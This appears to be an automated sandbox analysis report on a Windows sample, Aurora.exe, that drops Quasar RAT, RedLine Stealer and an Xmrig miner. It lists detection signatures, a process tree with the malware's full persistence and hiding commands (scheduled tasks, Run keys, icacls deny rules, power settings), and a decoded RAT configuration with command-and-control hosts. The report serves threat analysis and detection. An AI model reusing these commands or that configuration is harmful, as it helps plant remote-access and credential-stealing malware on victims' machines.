Edit tour

Windows Analysis Report
Aurora.exe

Overview

General Information

Sample name:	Aurora.exe
Analysis ID:	1483204
MD5:	416de11d210ae0ff50214021ff57b32b
SHA1:	3142453c18080b83d8dbdeba89524beea1c94ff3
SHA256:	72e1fc6da0a5cfca80413b8b24a880b0688908264971cfedaf079ee52ce4d850
Tags:	exe
Infos:

Detection

Aurora, Quasar, RedLine, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Schedule system process

Sigma detected: Set autostart key via New-ItemProperty Cmdlet

Yara Aurora Stealer

Yara detected AntiVM3

Yara detected Quasar RAT

Yara detected RedLine Stealer

Yara detected Xmrig cryptocurrency miner

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

DNS related to crypt mining pools

Detected Stratum mining protocol

Drops PE files with benign system names

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Suspect Svchost Activity

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Aurora.exe (PID: 6256 cmdline: "C:\Users\user\Desktop\Aurora.exe" MD5: 416DE11D210AE0FF50214021FF57B32B)

AdobeUpdate.exe (PID: 3064 cmdline: "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" MD5: 65F0A85C4B056D6BCEE60C49E2372E35)

cmd.exe (PID: 1220 cmdline: C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1516 cmdline: cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2004 cmdline: ping localhost -n 1 MD5: 2F46799D79D22AC72C241EC0322B011D)

attrib.exe (PID: 6020 cmdline: attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

icacls.exe (PID: 4828 cmdline: icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) MD5: 48C87E3B3003A2413D6399EA77707F5D)

cmd.exe (PID: 6204 cmdline: cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Msedge.exe (PID: 7252 cmdline: C:\Users\user\AppData\Local\Msedge.exe MD5: 65F0A85C4B056D6BCEE60C49E2372E35)

build.exe (PID: 6332 cmdline: "C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe" MD5: C9A9D471428A5F92068C0823E6454254)

conhost.exe (PID: 4192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

OneDrive.exe (PID: 6972 cmdline: "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe" MD5: 3B4F58CD4BCA7274BE25E885BE00798B)

powershell.exe (PID: 3320 cmdline: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6976 cmdline: "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7756 cmdline: C:\Windows\System32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4324 cmdline: C:\Windows\System32\svchost.exe MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

schtasks.exe (PID: 7332 cmdline: schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f MD5: 48C2FE20575769DE916F48EF0676A965)

RegAsm.exe (PID: 7220 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

vlc.exe (PID: 7316 cmdline: "C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe" MD5: B9FC8581B52ABFC6B563DA731438E27D)

dw20.exe (PID: 7456 cmdline: dw20.exe -x -s 1480 MD5: 89106D4D0BA99F770EAFE946EA81BB65)

cmd.exe (PID: 7376 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7496 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7568 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7656 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7692 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 7388 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7532 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

OneDrive Updater.exe (PID: 7736 cmdline: "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" MD5: 3B4F58CD4BCA7274BE25E885BE00798B)

RegAsm.exe (PID: 7880 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Msedge.exe (PID: 7996 cmdline: "C:\Users\user\AppData\Local\Msedge.exe" MD5: 65F0A85C4B056D6BCEE60C49E2372E35)

OneDrive Updater.exe (PID: 8124 cmdline: "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" MD5: 3B4F58CD4BCA7274BE25E885BE00798B)

RegAsm.exe (PID: 8156 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8164 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8172 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8180 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8188 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Msedge.exe (PID: 7408 cmdline: "C:\Users\user\AppData\Local\Msedge.exe" MD5: 65F0A85C4B056D6BCEE60C49E2372E35)

cmd.exe (PID: 7672 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7436 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 1196 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 5812 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 2756 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 7404 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

OneDrive Updater.exe (PID: 2936 cmdline: "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" MD5: 3B4F58CD4BCA7274BE25E885BE00798B)

RegAsm.exe (PID: 7932 cmdline: #cmd MD5: 0D5DF43AF2916F47D00C1573797C1A13)

powershell.exe (PID: 7764 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Aurora	Ransomware	Oktropys	https://blog.morphisec.com/in2al5d-p3in4er https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf https://twitter.com/malwrhunterteam/status/1001461507513880576 https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/ https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/	https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "auroraforge.art:55326;thesirenmika.com:55713;", "SubDirectory": "SubDir", "InstallName": "up2.exe", "MutexName": "0cbdfe7f-0215-41e8-a7b5-d4fbbc555089", "StartupKey": "Quasar Client Startup", "Tag": "themdas", "LogDirectoryName": "Logs", "ServerSignature": "PlHMOMtgocXM3HQK38PG08Pjiit+NwEciQu5lPY8tfLnYjCoMZYAx0xtdI+SvG5C0DXq12cXcC0umf/mq9foVZXMNF5Hs2PQTK2JDMn/hRfIF+Jjsb6WM+BVxpI718gj4lZGbCgGkF84rco627EYC7FkvV+GH8BLt9O9hPr4/+rJiNgiCoIYMn0OgCE/sH3sGydQJg57bn9U/mXFlhyIRhtm4gg2lM1G8RQ2XH+1kM20YvujsfPY0iStU8ykEpDnPvo2nlJo9S9+MJkEMt42ESO7Wgwea2ACoL2QuywV5GfCFYmzHmw9IDaqA/y7WyvVIvEg0NoGsezhwo2e6oEJrvYMUde6OTHjwHC8kacIVCvh6+yByGXPCjdQ+H6smKrq+LpoQLVQ20Io+hUnJLLx3faDB+Mrdo/wn43FOeeY6pvde3SMsY1XpENL1JPs8GG3TI0La479nFehiVp1bownoMxD7bv5pz2OTSwC+bmeB/u6k/e0qAPIfFzFMlMKPBLs1ee2ZhtAAu9MNcYtT4iTjxGRo+BdYz4VzLF0YuR7gW/KXvxHfHzIxl5gsQqlHmTKIvmwkZApWd13KsPue7aMCNBNetMgKotbQLGwuPGWkXPtyVe3zbXV84yx9a8EXdQy2rBif3ikTmvhQzPtqeUrXJzqUAZPzqvnfpFUeP+/3c0=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAMFuuJQ2UWVtaIczUNgeazANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTIzMDQwMzA0MDUwOFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAiClM+MYvRIRZkg0freUTCe0NshHnHXvYh8i2/B6np2DSYc6syzKH/d4kemUxEeD770K+4fsX42DqD05wvk+SmcuwHZ26OYCKSI/rg79364nUGWDwdTjS2LOpVzPfC/rF+aUI5X41YVO/BOt8Kw8yb2j1/uUVNajjm2gM7Wy3DAKG2PUXFGK/xtJsuOfjWVEFEStZGs5EbE5kMuNzxU3UfatoLZCVW866YNZIs9KIwFLYBaxoBScqJVcpRql2nDMOyOZt+wocL9l5buEIyKqT4sdRNUfoAUv6kxgo23l9f/dOMxG4eLYd7rNf6r5l0xRJMaz7emiUnqYyibaBmC2fIv6fuyjPZn9QB4+ujg0OGaWAPnikZXEd1F5jy4jwnBqilo+Kx5UdXg00pqVYBXr+K3AzcMzc02Yqwr3J8Rlfgsu4C6BVbHUY6AXA+8xzbyLK3fvp0M9Dxs8DKw7UpkZ7Bolhy8NE3LRgI7TFHXNjRzM8u5ZiCL8VIUOsDgUFKakEh0MrGEaHZUG3VjUO0xDdA7CG9s8FQ5mYPH2NlORjReWcdoJurPogIffwNkP6nIgltEwBuVufNrMjtUDq3GUNiuhG5GJnDVypRGAOJEeOkug+OMfFmTDhOAWuPsvr+dhak7ue/4FlW2gxA+HRlw200v70/hHbpNv66ypjWg1X9jECAwEAAaMyMDAwHQYDVR0OBBYEFEZ+DMcRz+rZt2AYOssjt4gJDXJOMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAHAGY8cy4TMd3uimwhX4giP4+xh3Nf0FVipqVxteNQTqxP7t2BabEdhmtlh7O/QY0NrQcHZfTQ0N17MnczuHDPsE41keL18jYueJZ+yId43zFc3Rlez8W4nrId2DbbcCRffmYSuwAGvXfcZDOYrTOpXFdU1WeVOazRUYYyrlBUZfOX+lbLHSlho/C7/6ULvYz9LIC1WakGFjLt8Yw5jpWSBPjGpbOUNIZ0JFalvr7iCrrNEtsLEQs5rcoiH73TBGE1QDgTOz/4zp6WRNoRr9Yy5mbC2qB2RbAtMIydKX/3yBZw/gHBGK7bxGmcecLwYVFkLR/BvfcpdVP4Jy5O65oEx01sFfC3TMG+XyGV3CxOvoG4brCW99GDZmUWsVmmbSI+X2caujvstj6psjYeRcGUELmU6dPNxWTNUOeeppRDQfZeA0rEr5pecx4NMCj6nLrhRUlTQ6pXg6vpVt2PS+5xC5qgn839Ic5RehAccmgHat+VqnqlqF9oucwNJVDoOcNey0yAYXMPqM6KZrVsrEGmxljkuqaafi9CJJbSah9K6YMfZdZsPxlNnLmg3CcSNISkL602S3tiWO1/heTAFVK6dx1domDE4Lk6Y7hEqEdDfyokDNExRPfD5ngHpseHXEYQteQywDb5MZZc7XLHM4dgm3cRxnGtWR0H7SjMddMZ5C"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000003C.00000002.2918345092.00000273AB26A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000000.00000002.2198132330.000000000A0C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Aurora	Yara Aurora Stealer	Joe Security
00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Aurora	Yara Aurora Stealer	Joe Security
00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: Aurora.exe PID: 6256	JoeSecurity_Aurora	Yara Aurora Stealer	Joe Security
Process Memory Space: build.exe PID: 6332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build.exe PID: 6332	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: build.exe PID: 6332	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x81b5:$a4: get_ScannedWallets 0x705c:$a5: get_ScanTelegram 0x7e3e:$a6: get_ScanGeckoBrowsersPaths 0x5cef:$a7: <Processes>k__BackingField 0x3222:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x5623:$a9: <ScanFTP>k__BackingField
Process Memory Space: OneDrive.exe PID: 6972	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: powershell.exe PID: 3320	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7220	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: powershell.exe PID: 7388	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: OneDrive Updater.exe PID: 7736	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 7880	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
